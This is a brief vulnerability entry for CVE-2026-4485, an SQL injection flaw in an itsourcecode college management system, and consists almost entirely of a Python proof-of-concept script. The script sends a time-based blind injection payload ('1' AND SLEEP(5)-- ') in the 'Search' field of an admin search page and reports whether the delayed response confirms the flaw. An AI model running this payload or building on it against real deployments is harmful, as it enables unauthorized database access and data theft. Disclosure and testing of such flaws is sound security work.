CVE-2026-4485: itsourcecode学院管理系统SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-host/admin/search_student.php" # SQL Injection Payload to test vulnerability (Time-based blind example) payload = "1' AND SLEEP(5)-- " # Data payload based on the vulnerable parameter 'Search' data = { "Search": payload } try: # Sending the request response = requests.post(target_url, data=data) # Analyzing response time to determine if injection was successful if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application response was delayed.") else: print("[-] Vulnerability not confirmed or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")